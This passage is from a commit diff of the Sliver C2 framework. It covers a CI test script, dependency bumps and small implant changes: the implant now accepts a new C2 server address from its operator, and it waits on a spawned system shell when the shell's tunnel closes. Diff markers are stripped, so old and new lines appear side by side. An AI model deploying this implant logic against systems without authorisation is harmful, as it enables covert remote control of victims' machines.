run_test_cmd "./server/c2" go test -tags="server,$TAGS" ./server/c2 || exit 1
run_test_cmd "./server/c2 (e2e yamux)" go test -tags="server,$TAGS,sliver_e2e" ./server/c2 -run 'Test(MTLS|WG)Yamux_' -count=1 || exit 1
run_test_cmd "./server/c2 (e2e dns)" go test -tags="server,$TAGS,sliver_e2e" ./server/c2 -run 'TestDNS_' -count=1 || exit 1
# implant / sliver / transports / wireguard
if go test ./implant/sliver/transports/wireguard ; then
:
else
exit 1
fi
## Server
# server / assets / traffic encoders
if go test -timeout 10m -tags=server,$TAGS ./server/assets/traffic-encoders ; then
:
else
exit 1
fi
# server / encoders
if go test -timeout 10m -tags=server,$TAGS ./server/encoders ; then
:
else
exit 1
fi
# server / website
if go test -tags=server,$TAGS ./server/website ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / loot
if go test -tags=server,$TAGS ./server/loot ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / certs
if go test -tags=server,$TAGS ./server/certs ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / cryptography
if go test -tags=server,$TAGS ./server/cryptography ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / encoders / shellcode / sgn
if go test -tags=server,$TAGS ./server/encoders/shellcode/sgn ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / encoders / shellcode / arm64
if go test -tags=server,$TAGS ./server/encoders/shellcode/arm64 ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / gogo / goname
if go test -tags=server,$TAGS ./server/gogo/goname ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / gogo
if go test -tags=server,$TAGS ./server/gogo ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / c2
if go test -tags=server,$TAGS ./server/c2 ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / c2 / e2e (mtls + wg + yamux)
SLIVER_ROOT_DIR_E2E="$(mktemp -d)"
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'Test(MTLS|WG)Yamux_' -count=1 ; then
:
else
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
# server / c2 / e2e (dns)
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'TestDNS_' -count=1 ; then
:
else
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
rm -rf "$SLIVER_ROOT_DIR_E2E"
# server / configs
if go test -tags=server,$TAGS ./server/configs ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / console
if go test -tags=server,$TAGS ./server/console ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / generate
## Server generate
if [ "$SKIP_GENERATE" -eq 0 ]; then
export GOPROXY=off
if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
export GOPROXY=off
# Generate tests are memory intensive (garble/c-shared cross-builds). Keep
# parallelism conservative by default to avoid OOM kills on smaller systems.
GENERATE_GOMAXPROCS="${SLIVER_GENERATE_GOMAXPROCS:-2}"
GENERATE_GO_P="${SLIVER_GENERATE_GO_P:-1}"
GENERATE_TEST_PARALLEL="${SLIVER_GENERATE_TEST_PARALLEL:-1}"
run_test_cmd "./server/generate" \
env GOMAXPROCS="$GENERATE_GOMAXPROCS" \
go test -timeout 6h -p "$GENERATE_GO_P" -parallel "$GENERATE_TEST_PARALLEL" -tags="server,$TAGS" ./server/generate || exit 1
else
echo "Skipping ./server/generate tests (--skip-generate)"
echo
echo "Skipping ./server/generate tests (--skip-generate)"
fi
+20 -13
View File
@@ -9,6 +9,7 @@ replace github.com/reeflective/readline => github.com/moloch--/readline v0.0.0-2
replace github.com/reeflective/console => github.com/moloch--/console v0.0.0-20260129035459-883dcb25c701
require (
charm.land/lipgloss/v2 v2.0.0
filippo.io/age v1.3.1
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
@@ -17,13 +18,14 @@ require (
github.com/SherClockHolmes/webpush-go v1.4.0
github.com/alecthomas/chroma v0.10.0
github.com/alecthomas/chroma/v2 v2.23.1
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7
github.com/charmbracelet/bubbletea v1.3.10
github.com/charmbracelet/huh v0.8.0
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3
github.com/charmbracelet/lipgloss v1.1.0
github.com/cheggaaa/pb/v3 v3.1.7
github.com/chromedp/cdproto v0.0.0-20250803210736-d308e07a266d
github.com/chromedp/chromedp v0.14.1
github.com/fatih/color v1.18.0
github.com/glebarez/sqlite v1.11.0
github.com/gofrs/uuid v4.4.0+incompatible
github.com/golang/protobuf v1.5.4
@@ -47,8 +49,8 @@ require (
github.com/reeflective/readline v1.1.4
github.com/rsteube/carapace v0.50.2
github.com/sirupsen/logrus v1.9.3
github.com/sliverarmory/beignet v0.0.2
github.com/sliverarmory/malasada v0.0.2
github.com/sliverarmory/beignet v0.0.3
github.com/sliverarmory/malasada v0.0.3
github.com/sliverarmory/wasm-donut v0.0.3
github.com/spf13/cobra v1.10.2
github.com/spf13/pflag v1.0.10
@@ -62,7 +64,7 @@ require (
golang.org/x/exp v0.0.0-20251209150349-8475f28825e9
golang.org/x/mod v0.31.0
golang.org/x/net v0.48.0
golang.org/x/sys v0.40.0
golang.org/x/sys v0.41.0
golang.org/x/term v0.38.0
golang.org/x/text v0.32.0
golang.zx2c4.com/wireguard v0.0.0-20250521234502-f333402bd9cb
@@ -122,6 +124,10 @@ require (
github.com/caarlos0/go-reddit/v3 v3.0.1 // indirect
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 // indirect
github.com/charmbracelet/x/termios v0.1.1 // indirect
github.com/charmbracelet/x/windows v0.2.2 // indirect
github.com/clipperhouse/displaywidth v0.11.0 // indirect
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5 // indirect
github.com/creachadair/msync v0.7.1 // indirect
github.com/cschomburg/go-pushbullet v0.0.0-20171206132031-67759df45fbb // indirect
@@ -131,6 +137,7 @@ require (
github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7 // indirect
github.com/envoyproxy/go-control-plane/envoy v1.36.0 // indirect
github.com/envoyproxy/protoc-gen-validate v1.3.0 // indirect
github.com/fatih/color v1.18.0 // indirect
github.com/fatih/structs v1.1.0 // indirect
github.com/felixge/httpsnoop v1.0.4 // indirect
github.com/go-jose/go-jose/v4 v4.1.3 // indirect
@@ -204,6 +211,8 @@ require (
)
require (
charm.land/bubbles/v2 v2.0.0
charm.land/bubbletea/v2 v2.0.0
cloud.google.com/go/compute/metadata v0.9.0 // indirect
filippo.io/edwards25519 v1.1.0 // indirect
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
@@ -222,15 +231,13 @@ require (
github.com/carapace-sh/carapace v1.11.0
github.com/carapace-sh/carapace-shlex v1.1.1 // indirect
github.com/catppuccin/go v0.3.0 // indirect
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 // indirect
github.com/charmbracelet/bubbletea v1.3.10
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect
github.com/charmbracelet/x/ansi v0.10.1
github.com/charmbracelet/x/cellbuf v0.0.13 // indirect
github.com/charmbracelet/colorprofile v0.4.2 // indirect
github.com/charmbracelet/x/ansi v0.11.6
github.com/charmbracelet/x/cellbuf v0.0.15 // indirect
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
github.com/charmbracelet/x/term v0.2.1 // indirect
github.com/charmbracelet/x/term v0.2.2 // indirect
github.com/chromedp/sysutil v1.1.0 // indirect
github.com/clipperhouse/uax29/v2 v2.2.0 // indirect
github.com/clipperhouse/uax29/v2 v2.7.0 // indirect
github.com/coder/websocket v1.8.14 // indirect
github.com/coreos/go-iptables v0.8.0 // indirect
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect
@@ -266,13 +273,13 @@ require (
github.com/jinzhu/now v1.1.5 // indirect
github.com/jsimonetti/rtnetlink v1.4.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
github.com/lucasb-eyer/go-colorful v1.3.0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mark3labs/mcp-go v0.43.2
github.com/mattn/go-colorable v0.1.14 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mattn/go-localereader v0.0.1 // indirect
github.com/mattn/go-runewidth v0.0.19 // indirect
github.com/mattn/go-runewidth v0.0.20 // indirect
github.com/mdlayher/netlink v1.8.0 // indirect
github.com/mdlayher/socket v0.5.1 // indirect
github.com/mitchellh/go-ps v1.0.0 // indirect
+36 -22
View File
@@ -4,6 +4,12 @@ c2sp.org/CCTV/age v0.0.0-20251208015420-e9274a7bdbfd h1:ZLsPO6WdZ5zatV4UfVpr7oAw
c2sp.org/CCTV/age v0.0.0-20251208015420-e9274a7bdbfd/go.mod h1:SrHC2C7r5GkDk8R+NFVzYy/sdj0Ypg9htaPXQq5Cqeo=
cel.dev/expr v0.25.1 h1:1KrZg61W6TWSxuNZ37Xy49ps13NUovb66QLprthtwi4=
cel.dev/expr v0.25.1/go.mod h1:hrXvqGP6G6gyx8UAHSHJ5RGk//1Oj5nXQ2NI02Nrsg4=
charm.land/bubbles/v2 v2.0.0 h1:tE3eK/pHjmtrDiRdoC9uGNLgpopOd8fjhEe31B/ai5s=
charm.land/bubbles/v2 v2.0.0/go.mod h1:rCHoleP2XhU8um45NTuOWBPNVHxnkXKTiZqcclL/qOI=
charm.land/bubbletea/v2 v2.0.0 h1:p0d6CtWyJXJ9GfzMpUUqbP/XUUhhlk06+vCKWmox1wQ=
charm.land/bubbletea/v2 v2.0.0/go.mod h1:3LRff2U4WIYXy7MTxfbAQ+AdfM3D8Xuvz2wbsOD9OHQ=
charm.land/lipgloss/v2 v2.0.0 h1:sd8N/B3x892oiOjFfBQdXBQp3cAkvjGaU5TvVZC3ivo=
charm.land/lipgloss/v2 v2.0.0/go.mod h1:w6SnmsBFBmEFBodiEDurGS/sdUY/u1+v72DqUzc6J14=
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
@@ -144,8 +150,8 @@ github.com/aws/smithy-go v1.24.0 h1:LpilSUItNPFr1eY85RYgTIg5eIEPtvFbskaFcmmIUnk=
github.com/aws/smithy-go v1.24.0/go.mod h1:LEj2LM3rBRQJxPZTB4KuzZkaZYnZPnvgIhb4pu07mx0=
github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k=
github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8=
github.com/aymanbagabas/go-udiff v0.3.1 h1:LV+qyBQ2pqe0u42ZsUEtPiCaUoqgA9gYRDs3vj1nolY=
github.com/aymanbagabas/go-udiff v0.3.1/go.mod h1:G0fsKmG+P6ylD0r6N/KgQD/nWzgfnl8ZBcNLgcbrw8E=
github.com/aymanbagabas/go-udiff v0.4.0 h1:TKnLPh7IbnizJIBKFWa9mKayRUBQ9Kh1BPCk6w2PnYM=
github.com/aymanbagabas/go-udiff v0.4.0/go.mod h1:0L9PGwj20lrtmEMeyw4WKJ/TMyDtvAoK9bf2u/mNo3w=
github.com/bahlo/generic-list-go v0.2.0 h1:5sz/EEAK+ls5wF+NeqDpk5+iNdMDXrh3z3nPnH1Wvgk=
github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg=
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
@@ -176,30 +182,36 @@ github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 h1:JFgG/x
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7/go.mod h1:ISC1gtLcVilLOf23wvTfoQuYbW2q0JevFxPfUzZ9Ybw=
github.com/charmbracelet/bubbletea v1.3.10 h1:otUDHWMMzQSB0Pkc87rm691KZ3SWa4KUlvF9nRvCICw=
github.com/charmbracelet/bubbletea v1.3.10/go.mod h1:ORQfo0fk8U+po9VaNvnV95UPWA1BitP1E0N6xJPlHr4=
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc h1:4pZI35227imm7yK2bGPcfpFEmuY1gc2YSTShr4iJBfs=
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc/go.mod h1:X4/0JoqgTIPSFcRA/P6INZzIuyqdFY5rm8tb41s9okk=
github.com/charmbracelet/colorprofile v0.4.2 h1:BdSNuMjRbotnxHSfxy+PCSa4xAmz7szw70ktAtWRYrY=
github.com/charmbracelet/colorprofile v0.4.2/go.mod h1:0rTi81QpwDElInthtrQ6Ni7cG0sDtwAd4C4le060fT8=
github.com/charmbracelet/huh v0.8.0 h1:Xz/Pm2h64cXQZn/Jvele4J3r7DDiqFCNIVteYukxDvY=
github.com/charmbracelet/huh v0.8.0/go.mod h1:5YVc+SlZ1IhQALxRPpkGwwEKftN/+OlJlnJYlDRFqN4=
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3 h1:KUeWGoKnmyrLaDIa0smE6pK5eFMZWNIxPGweQR12iLg=
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3/go.mod h1:OMqKat/mm9a/qOnpuNOPyYO9bPzRNnmzLnRZT5KYltg=
github.com/charmbracelet/lipgloss v1.1.0 h1:vYXsiLHVkK7fp74RkV7b2kq9+zDLoEU4MZoFqR/noCY=
github.com/charmbracelet/lipgloss v1.1.0/go.mod h1:/6Q8FR2o+kj8rz4Dq0zQc3vYf7X+B0binUUBwA0aL30=
github.com/charmbracelet/x/ansi v0.10.1 h1:rL3Koar5XvX0pHGfovN03f5cxLbCF2YvLeyz7D2jVDQ=
github.com/charmbracelet/x/ansi v0.10.1/go.mod h1:3RQDQ6lDnROptfpWuUVIUG64bD2g2BgntdxH0Ya5TeE=
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 h1:eyFRbAmexyt43hVfeyBofiGSEmJ7krjLOYt/9CF5NKA=
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8/go.mod h1:SQpCTRNBtzJkwku5ye4S3HEuthAlGy2n9VXZnWkEW98=
github.com/charmbracelet/x/ansi v0.11.6 h1:GhV21SiDz/45W9AnV2R61xZMRri5NlLnl6CVF7ihZW8=
github.com/charmbracelet/x/ansi v0.11.6/go.mod h1:2JNYLgQUsyqaiLovhU2Rv/pb8r6ydXKS3NIttu3VGZQ=
github.com/charmbracelet/x/cellbuf v0.0.13 h1:/KBBKHuVRbq1lYx5BzEHBAFBP8VcQzJejZ/IA3iR28k=
github.com/charmbracelet/x/cellbuf v0.0.13/go.mod h1:xe0nKWGd3eJgtqZRaN9RjMtK7xUYchjzPr7q6kcvCCs=
github.com/charmbracelet/x/cellbuf v0.0.15 h1:ur3pZy0o6z/R7EylET877CBxaiE1Sp1GMxoFPAIztPI=
github.com/charmbracelet/x/cellbuf v0.0.15/go.mod h1:J1YVbR7MUuEGIFPCaaZ96KDl5NoS0DAWkskup+mOY+Q=
github.com/charmbracelet/x/conpty v0.1.0 h1:4zc8KaIcbiL4mghEON8D72agYtSeIgq8FSThSPQIb+U=
github.com/charmbracelet/x/conpty v0.1.0/go.mod h1:rMFsDJoDwVmiYM10aD4bH2XiRgwI7NYJtQgl5yskjEQ=
github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86 h1:JSt3B+U9iqk37QUU2Rvb6DSBYRLtWqFqfxf8l5hOZUA=
github.com/charmbracelet/x/errors v0.0.0-20240508181413-e8d8b6e2de86/go.mod h1:2P0UgXMEa6TsToMSuFqKFQR+fZTO9CNGUNokkPatT/0=
github.com/charmbracelet/x/exp/golden v0.0.0-20241011142426-46044092ad91 h1:payRxjMjKgx2PaCWLZ4p3ro9y97+TVLZNaRZgJwSVDQ=
github.com/charmbracelet/x/exp/golden v0.0.0-20241011142426-46044092ad91/go.mod h1:wDlXFlCrmJ8J+swcL/MnGUuYnqgQdW9rhSD61oNMb6U=
github.com/charmbracelet/x/exp/golden v0.0.0-20250806222409-83e3a29d542f h1:pk6gmGpCE7F3FcjaOEKYriCvpmIN4+6OS/RD0vm4uIA=
github.com/charmbracelet/x/exp/golden v0.0.0-20250806222409-83e3a29d542f/go.mod h1:IfZAMTHB6XkZSeXUqriemErjAWCCzT0LwjKFYCZyw0I=
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 h1:qko3AQ4gK1MTS/de7F5hPGx6/k1u0w4TeYmBFwzYVP4=
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0/go.mod h1:pBhA0ybfXv6hDjQUZ7hk1lVxBiUbupdw5R31yPUViVQ=
github.com/charmbracelet/x/term v0.2.1 h1:AQeHeLZ1OqSXhrAWpYUtZyX1T3zVxfpZuEQMIQaGIAQ=
github.com/charmbracelet/x/term v0.2.1/go.mod h1:oQ4enTYFV7QN4m0i9mzHrViD7TQKvNEEkHUMCmsxdUg=
github.com/charmbracelet/x/term v0.2.2 h1:xVRT/S2ZcKdhhOuSP4t5cLi5o+JxklsoEObBSgfgZRk=
github.com/charmbracelet/x/term v0.2.2/go.mod h1:kF8CY5RddLWrsgVwpw4kAa6TESp6EB5y3uxGLeCqzAI=
github.com/charmbracelet/x/termios v0.1.1 h1:o3Q2bT8eqzGnGPOYheoYS8eEleT5ZVNYNy8JawjaNZY=
github.com/charmbracelet/x/termios v0.1.1/go.mod h1:rB7fnv1TgOPOyyKRJ9o+AsTU/vK5WHJ2ivHeut/Pcwo=
github.com/charmbracelet/x/windows v0.2.2 h1:IofanmuvaxnKHuV04sC0eBy/smG6kIKrWG2/jYn2GuM=
github.com/charmbracelet/x/windows v0.2.2/go.mod h1:/8XtdKZzedat74NQFn0NGlGL4soHB0YQZrETF96h75k=
github.com/charmbracelet/x/xpty v0.1.2 h1:Pqmu4TEJ8KeA9uSkISKMU3f+C1F6OGBn8ABuGlqCbtI=
github.com/charmbracelet/x/xpty v0.1.2/go.mod h1:XK2Z0id5rtLWcpeNiMYBccNNBrP2IJnzHI0Lq13Xzq4=
github.com/cheggaaa/pb/v3 v3.1.7 h1:2FsIW307kt7A/rz/ZI2lvPO+v3wKazzE4K/0LtTWsOI=
@@ -216,8 +228,10 @@ github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMn
github.com/cilium/ebpf v0.15.0 h1:7NxJhNiBT3NG8pZJ3c+yfrVdHY8ScgKD27sScgjLMMk=
github.com/cilium/ebpf v0.15.0/go.mod h1:DHp1WyrLeiBh19Cf/tfiSMhqheEiK8fXFZ4No0P1Hso=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/clipperhouse/uax29/v2 v2.2.0 h1:ChwIKnQN3kcZteTXMgb1wztSgaU+ZemkgWdohwgs8tY=
github.com/clipperhouse/uax29/v2 v2.2.0/go.mod h1:EFJ2TJMRUaplDxHKj1qAEhCtQPW2tJSwu5BF98AuoVM=
github.com/clipperhouse/displaywidth v0.11.0 h1:lBc6kY44VFw+TDx4I8opi/EtL9m20WSEFgwIwO+UVM8=
github.com/clipperhouse/displaywidth v0.11.0/go.mod h1:bkrFNkf81G8HyVqmKGxsPufD3JhNl3dSqnGhOoSD/o0=
github.com/clipperhouse/uax29/v2 v2.7.0 h1:+gs4oBZ2gPfVrKPthwbMzWZDaAFPGYK72F0NJv2v7Vk=
github.com/clipperhouse/uax29/v2 v2.7.0/go.mod h1:EFJ2TJMRUaplDxHKj1qAEhCtQPW2tJSwu5BF98AuoVM=
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5 h1:6xNmx7iTtyBRev0+D/Tv1FZd4SCg8axKApyNyRsAt/w=
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5/go.mod h1:KdCmV+x/BuvyMxRnYBlmVaq4OLiKW6iRQfvC62cvdkI=
@@ -506,8 +520,8 @@ github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193
github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Ntbse4a4s0=
github.com/line/line-bot-sdk-go v7.8.0+incompatible h1:Uf9/OxV0zCVfqyvwZPH8CrdiHXXmMRa/L91G3btQblQ=
github.com/line/line-bot-sdk-go v7.8.0+incompatible/go.mod h1:0RjLjJEAU/3GIcHkC3av6O4jInAbt25nnZVmOFUgDBg=
github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY=
github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
github.com/lucasb-eyer/go-colorful v1.3.0 h1:2/yBRLdWBZKrf7gB40FoiKfAWYQ0lqNcbuQwVHXptag=
github.com/lucasb-eyer/go-colorful v1.3.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/mailgun/errors v0.4.0 h1:6LFBvod6VIW83CMIOT9sYNp28TCX0NejFPP4dSX++i8=
@@ -530,8 +544,8 @@ github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D
github.com/mattn/go-localereader v0.0.1 h1:ygSAOl7ZXTx4RdPYinUpg6W99U8jWvWi9Ye2JC/oIi4=
github.com/mattn/go-localereader v0.0.1/go.mod h1:8fBrzywKY7BI3czFoHkuzRoWE9C+EiG4R1k4Cjx5p88=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.19 h1:v++JhqYnZuu5jSKrk9RbgF5v4CGUjqRfBm05byFGLdw=
github.com/mattn/go-runewidth v0.0.19/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
github.com/mattn/go-runewidth v0.0.20 h1:WcT52H91ZUAwy8+HUkdM3THM6gXqXuLJi9O3rjcQQaQ=
github.com/mattn/go-runewidth v0.0.20/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs=
github.com/mattn/go-sqlite3 v1.14.32 h1:JD12Ag3oLy1zQA+BNn74xRgaBbdhbNIDYvQUEuuErjs=
github.com/mattn/go-sqlite3 v1.14.32/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
github.com/mdlayher/genetlink v1.3.2 h1:KdrNKe+CTu+IbZnm/GVUMXSqBBLqcGpRDa0xkQy56gw=
@@ -663,10 +677,10 @@ github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
github.com/sliverarmory/beignet v0.0.2 h1:kUpztl/yEKp/U3FFulguC7r+qKjmBIg0AwLKJnZpDVA=
github.com/sliverarmory/beignet v0.0.2/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
github.com/sliverarmory/malasada v0.0.2 h1:X2+7dNGPWfm4ijsr/rMvZlIMalskdCVpBZUYs50RHIA=
github.com/sliverarmory/malasada v0.0.2/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
github.com/sliverarmory/beignet v0.0.3 h1:ssR6AK9lirVulHZhQMyMmVAi0FcFwWxlh9LwKCJQ4X0=
github.com/sliverarmory/beignet v0.0.3/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
github.com/sliverarmory/malasada v0.0.3 h1:b2KG2NhQVfBIIrbP8rGJwmdh7o8LH6NKYKH1DF4No1U=
github.com/sliverarmory/malasada v0.0.3/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
@@ -924,8 +938,8 @@ golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.40.0 h1:DBZZqJ2Rkml6QMQsZywtnjnnGvHza6BTfYFWY9kjEWQ=
golang.org/x/sys v0.40.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k=
golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
+6
View File
@@ -1351,6 +1351,12 @@ func reconfigureHandler(data []byte, resp RPCResponse) {
if reconfigReq.BeaconJitter != 0 {
transports.SetJitter(reconfigReq.BeaconJitter)
}
if reconfigReq.C2URI != "" {
// {{if .Config.Debug}}
log.Printf("[*] Received new C2 URI: %s", reconfigReq.C2URI)
// {{end}}
transports.SetC2URI(reconfigReq.C2URI)
}
// {{end}}
reconfigResp := &sliverpb.Reconfigure{}
@@ -125,6 +125,8 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
systemShell.Wait()
}
for _, rc := range tunnel.Readers {
+2 -6
View File
@@ -278,9 +278,7 @@ func TestProvider_ParseEnvProxy(t *testing.T) {
if tt.expectError == nil {
a.Nil(err)
} else {
if a.NotNil(err) {
a.Equal(tt.expectError.Error(), err.Error())
}
assertErrEqualIgnoreQuotes(t, tt.expectError, err)
}
})
}
@@ -325,9 +323,7 @@ func TestProvider_ConfigProviderParseEnvURL(t *testing.T) {
if tt.expectError == nil {
a.Nil(err)
} else {
if a.NotNil(err) {
a.Equal(tt.expectError.Error(), err.Error())
}
assertErrEqualIgnoreQuotes(t, tt.expectError, err)
}
})
}
+1 -3
View File
@@ -116,9 +116,7 @@ func TestNewProxy(t *testing.T) {
if tt.expectErr == nil {
a.Nil(err)
} else {
if a.NotNil(err) {
a.Equal(tt.expectErr.Error(), err.Error())
}
